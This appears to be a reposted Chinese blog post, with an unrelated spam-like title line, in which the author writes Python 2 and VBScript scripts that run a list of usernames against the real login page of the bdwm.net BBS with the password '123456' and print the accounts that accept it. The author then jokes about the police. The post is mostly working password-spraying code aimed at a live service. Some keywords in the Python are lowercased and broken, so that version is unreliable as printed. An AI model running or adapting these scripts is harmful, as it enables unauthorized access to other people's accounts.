本多立太郎,鬼域,致我们终将逝去的青春txt
难道真的要我破解一个么?算了,正好试试我的python水平。
python版
#coding: gbk
import httplib, urllib
def check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"content-type":
"application/x-www-form-urlencoded"}
conn = httplib.httpsconnection("www.bdwm.net")
conn.request("post",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return false
elif res.find("不存在这个用户") != -1:
return false
else:
return true
for i in open("english.dic"):
if check(i.rstrip(),"123456"):
print i
顺便也写了个vbs版的,感觉貌似vbs比较快,感觉出问题了?
dim fso
set fso = createobject("scripting.filesystemobject")
with fso.opentextfile("english.dic",1)
do until .atendofstream
id = .readline
if check(id,"123456") then
wscript.echo id & vbtab &"ok"
end if
loop
end with
function check(username,password)
dim http
set http = createobject("msxml2.xmlhttp")
http.open _
"post","https://www.bdwm.net/bbs/bbslog2.php",false
http.setrequestheader _
"content-type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = ansitounicode(http.responsebody)
if instr(response,"密码不正确") then
check = false
elseif instr(response,"不存在这个用户") then
check = false
else
check = true
end if
end function
function ansitounicode(str)
dim ado
set ado = createobject("adodb.stream")
ado.type = 1
ado.open
ado.write str
ado.position = 0
ado.type = 2
ado.charset = "gb2312"
ansitounicode = ado.readtext
end function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
python如何查看网页代码
用python查看网页代码的方法:1、使用“import”导入requests包import requests2、使用requests包的get()函数通过网页...
[阅读全文]
-
-
python如何保存文本文件
python保存文本文件的方法:使用python内置的open()类可以打开文本文件,向文件里面写入数据可以用write()函数,写完之后,使用close()函...
[阅读全文]
-
python如何编写win程序
python可以编写win程序。win程序的格式是exe,下面我们就来看一下使用python编写exe程序的方法。编写好python程序后py2exe模块即可将...
[阅读全文]
-
-
-
-
-
-
网友评论